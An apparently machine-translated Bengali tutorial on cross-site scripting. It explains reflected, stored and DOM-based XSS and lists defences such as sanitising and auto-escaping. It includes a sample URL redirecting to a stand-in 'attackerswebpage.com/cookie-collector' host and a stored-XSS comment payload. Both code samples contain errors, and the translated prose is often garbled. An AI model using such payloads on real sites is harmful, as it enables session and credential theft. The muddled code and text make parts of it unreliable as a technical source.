হ্যাকাররা কীভাবে ওয়েবসাইটগুলি ভাঙতে এবং ডেটা চুরি করতে ক্রস সাইট স্ক্রিপ্টিং ব্যবহার করে

ক্রস-সাইট স্ক্রিপ্টিং বা এক্সএসএস একটি শক্তিশালী এবং দ্রুত আক্রমণ হতে পারে। বিকাশকারী হিসাবে আপনি এমনকি এটি আপনার কোডে একটি বাগের জন্য নিতে পারেন এবং সেখানে থাকা বাগগুলির জন্য অনুসন্ধান শেষ করতে পারেন।

দুর্বল ওয়েবসাইটটি ব্যবহার করে ক্লায়েন্ট হিসাবে, আপনি আক্রমণকারীর কাছে আপনার প্রমাণীকরণ অ্যাক্সেস সম্পর্কে নিরপেক্ষভাবে গুরুত্বপূর্ণ তথ্য প্রকাশ করতে পারেন।

তাহলে ক্রস-সাইট স্ক্রিপ্টিং কী? হ্যাকাররা কীভাবে এটি কোনও ওয়েবসাইটে প্রবেশ করতে এবং আপনার ডেটা চুরি করতে ব্যবহার করতে পারে? এবং কীভাবে আপনি এই জাতীয় ঝুঁকি হ্রাস করতে পারেন?

ক্রস-সাইট স্ক্রিপ্টিং কি?

কোনও দূষিত ওয়েবসাইটের স্ক্রিপ্ট যদি কোনও দুর্বলতার সাথে কোডের সাথে যোগাযোগ করে তবে ক্রস-সাইট স্ক্রিপ্টিং বা এক্সএসএস হয়।

কিন্তু সার্ভারগুলি এমনভাবে তারযুক্ত হয় যা প্রমাণীকরণ ছাড়াই লোকেদের আপনার ওয়েবসাইটের উত্স কোড অ্যাক্সেস এবং সম্পাদনা করা থেকে বিরত করে।

ক্রস-সাইট ইন্টারঅ্যাকশনগুলি ব্লক করতে ইন্টারনেট একই উত্স নীতি (এসওপি) ব্যবহার করে। যাইহোক, এসওপি তিনটি প্রধান সুরক্ষা ফাঁকগুলি পরীক্ষা করে এবং সেগুলি হ্রাস করার চেষ্টা করে। তারা হ'ল:

  • ইন্টারনেট প্রোটোকল নীতি যা উভয় ওয়েবসাইটই সুরক্ষিত এসএসএল (এইচটিটিপিএস) বা কোনও সুরক্ষিত ইউআরএল (এইচটিটিপি) তে সামগ্রী সরবরাহ করে কিনা তা পরীক্ষা করে।
  • একই ওয়েব হোস্ট নীতি যা নিশ্চিত করে যে আপনি উভয় ওয়েবসাইটকে একই ডোমেনে হোস্ট করছেন।
  • পোর্ট নীতি যা উভয় ওয়েবসাইট একই ধরণের যোগাযোগের শেষ পয়েন্টগুলি ব্যবহার করে কিনা তা পরীক্ষা করে।

এসওপি হোল্ড করে যে এই দুটি নীতিমালা যে কোনও দুটি ওয়েবসাইটের জন্য আলাদা থাকলে তারা ওয়েবে ডেটা পড়তে বা আদান প্রদান করতে পারে না।

তবে জাভাস্ক্রিপ্ট একটি হেরফেরকারী ভাষা যা কোনও ওয়েবসাইটের প্রতিক্রিয়াশীলতা নির্ধারণ করে। আপনার ওয়েবসাইটের জাভাস্ক্রিপ্ট সম্ভবত কোনও পৃথক ফাইলে রয়েছে, আপনি একটি স্ক্রিপ্ট ট্যাগও তৈরি করতে পারেন এবং এটি আপনার নথি অবজেক্ট মডেল (ডিওএম) এ লিখতে পারেন।

সুতরাং কোনও এক্সএসএস আক্রমণকারী মনে করতে পারে: "আপনি যদি কোনও ডিওএমে জাভাস্ক্রিপ্ট লিখতে পারেন, তবে শেষ পর্যন্ত আপনি কোনও কোড সম্পাদক বা ইনপুট ক্ষেত্রে এটি কার্যকর করতে পারেন যা এইচটিএমএল ট্যাগ গ্রহণ করে।"

এই জাতীয় দুর্বলতা এবং সুযোগ হ'ল এক্সএসএস ব্যবহার করে কোনও আক্রমণকারী লক্ষ্য ওয়েবসাইটটিতে সন্ধান করে। তারা যখন এ জাতীয় ফাঁকটি খুঁজে পায়, তারা এসওপি বাইপাস করতে পারে।

সম্পর্কিত: চূড়ান্ত জাভাস্ক্রিপ্ট চিট পত্রক

এক্সএসএস, অতএব, আক্রমণ এমন একটি আক্রমণ যা হাইজ্যাকাররা একটি স্ক্রিপ্ট ইনজেক্ট করতে ব্যবহার করে যা দূর্বল ওয়েবসাইটটিতে দূষিত পদক্ষেপ করে। স্ক্রিপ্টটি অরক্ষিত ফর্মগুলি বা ইনপুট ক্ষেত্রগুলিকে টার্গেট করতে পারে যা ডেটা গ্রহণ করে।

উদাহরণস্বরূপ ক্রস-সাইট স্ক্রিপ্টিং কীভাবে কাজ করে এবং প্রকারগুলি

এক্সএসএস একটি প্রতিফলিত বা অস্থায়ী স্ক্রিপ্টের দ্রুত সম্পাদন হতে পারে যা আক্রমণকারী অনুসন্ধান ক্ষেত্রের মতো ফর্মগুলিতে রাখে। এটি একটি নগদ বা একটি অবিচ্ছিন্ন ডাটাবেসে ইনজেকশনও হতে পারে। অথবা এটি কোনও পৃষ্ঠা লোডের পরে প্যাসিভভাবে আসতে পারে।

কিছু ক্ষেত্রে, এই স্ক্রিপ্টটি কোনও ভিক্টিমের মূল উদ্দেশ্যটিকে পরিবর্তন করতে পারে তাদের অভিপ্রায়ে ডাইরেক্ট করতে। এর মতো ব্যবহারকারীর ইনপুটগুলিতে অবিচ্ছিন্ন পরিবর্তন হ'ল পরিবর্তনকারী এক্সএসএস।

এটি যে আকারেই আসুক না কেন, এক্সএসএস আক্রমণের লক্ষ্য হ'ল উন্মুক্ত কুকিজ এবং লগের মাধ্যমে ভুক্তভোগীর ডেটা চুরি করা।

আসুন এই এক্সএসএস আক্রমণের প্রতিটিগুলির সংক্ষিপ্ত বিবরণ এবং সেগুলি কী তা বোঝার জন্য তাদের উদাহরণগুলি দেখুন।

একটি প্রতিফলিত এক্সএসএস কী?

একটি প্রতিফলিত বা অস্থায়ী এক্সএসএস হ'ল ব্যবহারকারীর ইনপুট ক্ষেত্রে জাভাস্ক্রিপ্টের সরাসরি ইনজেকশন। এটি অনুসন্ধানের ফলাফলের মতো ডেটাবেস থেকে ডেটা পেতে অনুরোধগুলিকে লক্ষ্যবস্তু করে। তবে এটি এক-ক্লায়েন্ট-টার্গেট আক্রমণ।

প্রতিবিম্বিত এক্সএসএসের সময়, একজন আক্রমণকারী একটি টার্গেটের শিকারের অনুসন্ধানের শব্দে একটি স্ক্রিপ্ট সন্নিবেশ করায়। এই জাতীয় জাভাস্ক্রিপ্ট একটি প্রতিধ্বনি, পুনর্নির্দেশ বা কুকি সংগ্রাহক হতে পারে।

অনুসন্ধানের ইনপুট ক্ষেত্রে স্ক্রিপ্টটি ইনজেকশনের পরে কোনও টার্গেট ক্লায়েন্ট তাদের জিজ্ঞাসা জমা দেওয়ার সাথে সাথেই কার্যকর করা হবে।

উদাহরণস্বরূপ, ব্যবহারকারীর অনুসন্ধানের সময়, আক্রমণকারী কোনও জাভাস্ক্রিপ্ট সন্নিবেশ করতে পারে যা কোনও ফর্ম প্রতিধ্বনিত করে, অনুরোধ করে যে ভুক্তভোগী তাদের পাসওয়ার্ড বা ব্যবহারকারীর নাম প্রবেশ করে। ব্যবহারকারী এটি করার পরে, তারা অজ্ঞাতসারে কোনও আক্রমণকারীর কাছে তাদের শংসাপত্র জমা দেওয়ার কাজটি শেষ সাইটটির অনুরোধ ভেবে শেষ করতে পারে।

কখনও কখনও, আক্রমণকারী দুর্বল পৃষ্ঠা থেকে তাদের পৃষ্ঠায় পুনর্নির্দেশের জন্য কোনও স্ক্রিপ্টও ব্যবহার করতে পারে। আক্রমণকারীর পৃষ্ঠায়, কোনও সন্দেহহীন ব্যবহারকারীর পরে কয়েকটি ফর্ম জমা দেওয়ার জন্য প্রতারিত হতে পারে, যার ফলে শংসাপত্র ফাঁস হয়।

একইভাবে, যদি উদ্দেশ্যটি ব্যবহারকারীর সেশন চুরি করা হয়, তবে আক্রমণকারী ব্যবহারকারীর অনুসন্ধানের শব্দটির মধ্যে একটি কুকি সংগ্রহকারী স্ক্রিপ্ট ইনজেক্ট করে। এরপরে তারা ব্যবহারকারীর বর্তমান অধিবেশন হাইজ্যাক করে, প্রাসঙ্গিক তথ্য চুরি করে এবং ভুক্তভোগীর কার্যক্রম গ্রহণ করে।

নীচে এক্সএসএস আক্রমণটি জিইটি অনুরোধের মাধ্যমে ব্যবহারকারীর কুকি চুরি করে:

 http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

উপরের এক্সএসএস উদাহরণে আক্রমণকারী দুর্বল ওয়েবসাইটটিতে একটি ফাঁক খুঁজে পেয়েছে। সুতরাং যখন কোনও ব্যবহারকারী দুর্বল সাইটে কোনও অনুপলব্ধ সংস্থানটির সন্ধান করেন, এটি তাদের আক্রমণকারীর পৃষ্ঠাতে পুনঃনির্দেশ করে। আক্রমণকারী তারপরে বর্তমান ব্যবহারকারীর কুকিটি ট্যাপ করে তাদের সেশনটি ধরবে।

তবে এই দুর্বলতাটি সাধারণ যেখানে কোনও সাইটের কোয়েরি ক্রিয়াটি এইচটিএমএলের মাধ্যমে স্ক্রিপ্ট ইনজেকশনগুলি পরীক্ষা করতে ফিল্টার করা হয় না।

ফিল্টার করা ক্যোয়ারী থাকলেও কোনও আক্রমণকারী কোনও ওয়েবসাইটের সম্ভাব্য রিয়েল-টাইম ব্যবহারকারীদের কাছে লিঙ্কগুলি প্রেরণের মতো মরিয়া পদক্ষেপের আশ্রয় নিয়ে এটিকে বাইপাস করতে পারে। তারা উপলব্ধ যে কোনও প্রকারের সামাজিক প্রকৌশল ব্যবহার করে এটি করতে পারে।

সম্পর্কিত: ফিশিং অ্যাটাকের জন্য পতনের পরে কী করবেন

ক্ষতিগ্রস্থরা একবার এই জাতীয় লিঙ্কে ক্লিক করলে, হাইজ্যাকার এখন এক্সএসএস আক্রমণটিকে সফলভাবে সম্পাদন করতে পারে এবং শিকারের কাছ থেকে প্রাসঙ্গিক ডেটা চুরি করতে পারে।

ক্রমাগত বা সঞ্চিত ক্রস-সাইট স্ক্রিপ্টিং

সঞ্চিত এক্সএসএস আরও হুমকির সম্মুখীন হয়েছে। এই ক্ষেত্রে, কোনও আক্রমণকারী ওয়েবসাইটের ডেটাবেজে স্ক্রিপ্ট সংরক্ষণ করে, সঞ্চিত স্ক্রিপ্টটির একটি অবিরাম প্রয়োগ কার্যকর করে। সঞ্চিত কোড পৃষ্ঠা লোড বা পৃষ্ঠা লোডের পরে চলতে পারে।

এক্সএসএসের অস্থায়ী ফর্মের মতো নয়, একটি সঞ্চিত এক্সএসএস দুর্বল ওয়েবসাইটের পুরো ব্যবহারকারী-বেসকে লক্ষ্য করে। এটি ছাড়াও, এটি প্রভাবিত ওয়েবসাইটের সততাও লক্ষ্য করে।

অবিরাম এক্সএসএস চলাকালীন কোনও আক্রমণকারী কোনও ওয়েবসাইটের ডেটাবেজে স্ক্রিপ্ট পোস্ট করতে মন্তব্য ফর্মের মতো ইনপুট ক্ষেত্রগুলি ব্যবহার করে।

তবে আপনি যদি সিএসআরএফ টোকেনের সাথে পোষ্ট ক্ষেত্রগুলি রক্ষা করেন? দুর্ভাগ্যক্রমে, সঞ্চিত ক্রস-সাইট স্ক্রিপ্টিং সিএসআরএফ চেকগুলি বাইপাস করে।

এজন্য যে আক্রমণকারীটি ওয়েবসাইটের অন্যান্য ব্যবহারকারীর মতো একটি ফর্ম জমা দেয়। সুতরাং, যেমন একটি মন্তব্য ফর্ম স্ক্রিপ্টটি ডেটাবেসে প্রেরণ করে যেমন এটি অন্যান্য সমস্ত মন্তব্য করে।

যখন কোনও ওয়েবসাইটের ইনপুট ক্ষেত্রগুলি স্ক্রিপ্টগুলি এবং এইচটিএমএল ট্যাগ থেকে মুক্তির জন্য যথাযথ স্যানিটাইজার ব্যবহার না করে তখন এই ধরনের আক্রমণ হতে পারে।

কোনও ব্যবহারকারী কোনও ওয়েব মন্তব্য ফর্ম ব্যবহার করে নীচে স্ক্রিপ্টটি পোস্ট করেছেন তা কল্পনা করুন:

 <body onload = maLicious()>
<script>
function malCode(){
window.location.replace("attackerswebpage URL");
}
</script>
<body/>

যখন কোনও আক্রমণকারী কোনও ওয়েবসাইটের ডাটাবেসে সেই জাতীয় কোড সন্নিবেশ করে, তখন এটি কোনও ক্ষতিগ্রস্থকে পৃষ্ঠা লোডে আক্রমণকারীর ওয়েবসাইটে পুনঃনির্দেশিত করে রাখে। স্ক্রিপ্টটি একটি সতর্কতা, একটি ইন্টারেক্টিভ মডেল বাক্স বা এম্বেডযুক্ত দূষিত বিজ্ঞাপনও হতে পারে।

স্ক্রিপ্ট পৃষ্ঠা লোডে পুনঃনির্দেশ করার কারণে, দুর্বল ওয়েবসাইটের সাথে অপরিচিত এমন একটি শিকার পুনর্নির্দেশের বিষয়টি লক্ষ্য করতে ব্যর্থ হতে পারে।

তারপরে তারা আক্রমণকারীর ওয়েবসাইটের সাথে আলাপচারিতা চালিয়ে যায়। তবে হাইজ্যাকার তারপরে তাদের ওয়েবপৃষ্ঠায় আসার পরে ক্ষতিগ্রস্থদের কাছ থেকে তথ্য পেতে বিভিন্ন উপায় ব্যবহার করতে পারে।

একটি ডিওএম বা প্যাসিভ এক্সএসএস কী?

একটি ডোম-ভিত্তিক এক্সএসএস ওয়েবসাইটটিতে এম্বেড করা একটি দূষিত কোড কার্যকর করে, ক্লায়েন্ট-সাইডে পুরো ডিওএমকে অস্বাভাবিক আচরণ করতে বাধ্য করে।

কোনও ওয়েবসাইটে এক্সএসএস সার্ভার-সাইড অনুরোধগুলিকে সঞ্চিত এবং প্রতিবিম্বিত করার সময়, একটি ডম এক্সএসএস রানটাইম ক্রিয়াকলাপগুলিকে লক্ষ্য করে। এটি কোনও নির্দিষ্ট কার্য সম্পাদন করে এমন কোনও ওয়েবসাইটের উপাদানগুলিতে একটি স্ক্রিপ্ট সন্নিবেশ করে কাজ করে। এই উপাদানটি কোনও সার্ভার-সাইড ক্রিয়াকলাপ চালায় না।

যাইহোক, এই জাতীয় উপাদানগুলিতে scriptোকানো স্ক্রিপ্টটি এর উদ্দেশ্য পুরোপুরি পরিবর্তন করে। যদি এই উপাদানটি কোনও ডোম-সম্পর্কিত কাজ করে, যেমন কোনও ওয়েবসাইটের উপাদানগুলি পরিবর্তন করে তবে স্ক্রিপ্টটি পুরো ওয়েবপৃষ্ঠাটি পরিবর্তন করতে বাধ্য করতে পারে।

আরও খারাপ ক্ষেত্রে, একটি ডোম-ভিত্তিক এক্সএসএস একটি বাগটি অনুকরণ করতে পারে। ওয়েবপৃষ্ঠা অস্বাভাবিকভাবে প্রতিক্রিয়াশীল হওয়ার কারণে।

ক্রস-সাইট স্ক্রিপ্টিং আক্রমণকে কীভাবে প্রতিরোধ করবেন

একটি এক্সএসএস দুর্বলতা সেরা ব্যাকএন্ড অনুশীলনগুলির অনুপযুক্ত ব্যবহার থেকে আসে। সুতরাং ক্রস-সাইট স্ক্রিপ্টিং আক্রমণ প্রতিরোধ করা সাধারণত বিকাশকারীর দায়িত্ব। তবে ব্যবহারকারীদেরও ভূমিকা রাখতে হবে।

ইনপুট ক্ষেত্রগুলির জন্য একটি সিএসএফআর টোকেন XSS আক্রমণগুলির সমাধান বলে মনে হচ্ছে না। এবং যেহেতু এই আক্রমণটি একই উত্স নীতিকেও অতিক্রম করে, তাই বিকাশকারীদের XSS প্রতিরোধকারী সুরক্ষা অনুশীলনগুলি বাদ না দেওয়ার বিষয়ে সতর্কতা অবলম্বন করা উচিত।

নিম্নলিখিত প্রতিরোধমূলক ব্যবস্থাগুলি বিকাশকারীদের জন্য সহায়ক।

ইনপুট ক্ষেত্রগুলি স্যানিটাইজ করুন

উভয় সঞ্চিত এবং অস্থায়ী এক্সএসএস প্রতিরোধ করতে আপনার ইনপুট ক্ষেত্রে দক্ষ স্যানিটাইজার উচিত। উদাহরণস্বরূপ, অনুসন্ধান অনুসন্ধানগুলি স্যানিটাইজ করা ব্যবহারকারীদের অনুসন্ধান পদগুলিতে ট্যাগ ইনজেকশনটিকে বাধা দেয়।

ইউনিকোড এবং এইচটিএমএল অটো এসেস্ক ব্যবহার করুন

মন্তব্য এবং রূপান্তর ফর্মের মতো ইনপুট ক্ষেত্রগুলিকে স্ক্রিপ্ট এবং এইচটিএমএল ট্যাগ গ্রহণ করা থেকে বিরত রাখতে এটি এইচটিএমএল এবং ইউনিকোড অটো এস্কেপ ব্যবহার করতে সহায়ক। অটো পলায়ন হ'ল সঞ্চিত বা অবিরাম এক্সএসএসের বিরুদ্ধে শক্তিশালী প্রতিরোধমূলক ব্যবস্থা।

ফিল্টার নির্দিষ্ট ট্যাগ আউট

ব্যবহারকারীদের মন্তব্য ফর্মগুলিতে ট্যাগ .োকানো মঞ্জুরি দেওয়া যে কোনও ওয়েবসাইটের জন্য একটি খারাপ ধারণা। এটি একটি সুরক্ষা লঙ্ঘন। যাইহোক, যদি আপনাকে অবশ্যই এটির অনুমতি দেওয়া হয় তবে আপনার কেবলমাত্র ট্যাগগুলি গ্রহণ করা উচিত যা এক্সএসএস হুমকি তৈরি করে না।

উপযুক্ত ইনপুট বৈধতা ব্যবহার করুন

এমনকি আপনি ট্যাগগুলি সম্পূর্ণরূপে অবরুদ্ধ করলেও, আক্রমণকারী এখনও সামাজিক মাধ্যমে কোনও এক্সএসএস আক্রমণ চালিয়ে যেতে পারে। তারা দুর্বল ওয়েবসাইটে সরাসরি কিছু না রেখে ইমেল প্রেরণ করতে পারে।

সুতরাং এটি প্রতিরোধের আরেকটি পদ্ধতি হ'ল ইনপুটগুলি দক্ষতার সাথে বৈধতা দেওয়া। এই ধরনের পদক্ষেপগুলির মধ্যে প্রোটোকলগুলি বৈধকরণ করা এবং আপনার ওয়েবসাইটটি কেবল সুরক্ষিত HTTPS থেকে প্রাপ্ত ইনপুট গ্রহণ করে এবং এইচটিটিপি নয় তা নিশ্চিত করে।

ডোমপুরাইফের মতো নিবেদিত জাভাস্ক্রিপ্ট লাইব্রেরি ব্যবহার করে এক্সএসএস-সম্পর্কিত সুরক্ষা লঙ্ঘনগুলি ব্লক করতে সহায়তা করে।

আপনি আপনার ওয়েবসাইটটিতে এক্সএসএস দুর্বলতাগুলি পরীক্ষা করতে এক্সএসএস স্ক্যানার বা জিইকেএফএলএআরএর মতো সরঞ্জামগুলি ব্যবহার করতে পারেন।

ব্যবহারকারীরা কীভাবে এক্সএসএস প্রতিরোধ করতে পারেন

ইন্টারনেটে আজ লক্ষ লক্ষ ওয়েবসাইট রয়েছে। সুতরাং আপনি কোনটি এক্সএসএস সুরক্ষার সমস্যাটি খুব কমই বলতে পারবেন।

তবে, একজন ব্যবহারকারী হিসাবে আপনার অবশ্যই এটি নিশ্চিত হওয়া উচিত যে কোনও ওয়েব পরিষেবা ব্যবহারের আগে আপনি তার সাথে পরিচিত। যদি কোনও ওয়েবপৃষ্ঠা হঠাৎ চতুর হয়ে যায় বা অস্বাভাবিক আচরণ শুরু করে, এটি একটি লাল পতাকা হতে পারে।

কেস যাই হোক না কেন, অবিশ্বস্ত তৃতীয় পক্ষের সাথে ব্যক্তিগত ডেটা প্রকাশ না করার বিষয়ে সতর্ক থাকুন be তারপরে অযৌক্তিক ইমেল বা সন্দেহজনক সোশ্যাল মিডিয়া পোস্টগুলির সন্ধান করুন যা কোনও ধরণের ফিশিং আক্রমণ আক্রমণ করতে পারে

কোনও একক প্রতিরোধমূলক পদ্ধতি সবই ফিট করে না

এক্সএসএস আক্রমণটি কেমন দেখাচ্ছে এবং কীভাবে এটি প্রতিরোধ করা যায় তা আমরা দেখেছি। বিকাশের সময় এক্সএসএস সুরক্ষা চেকগুলি ভুলে যাওয়া সহজ। সুতরাং বিকাশকারীদের সুরক্ষা বাদ দেওয়া হবে না তা নিশ্চিত করতে পদক্ষেপ নেওয়া উচিত। তবে, আমরা পূর্বে তালিকাভুক্ত প্রতিরোধমূলক ব্যবস্থার সংমিশ্রণ আরও ভাল কাজ করে।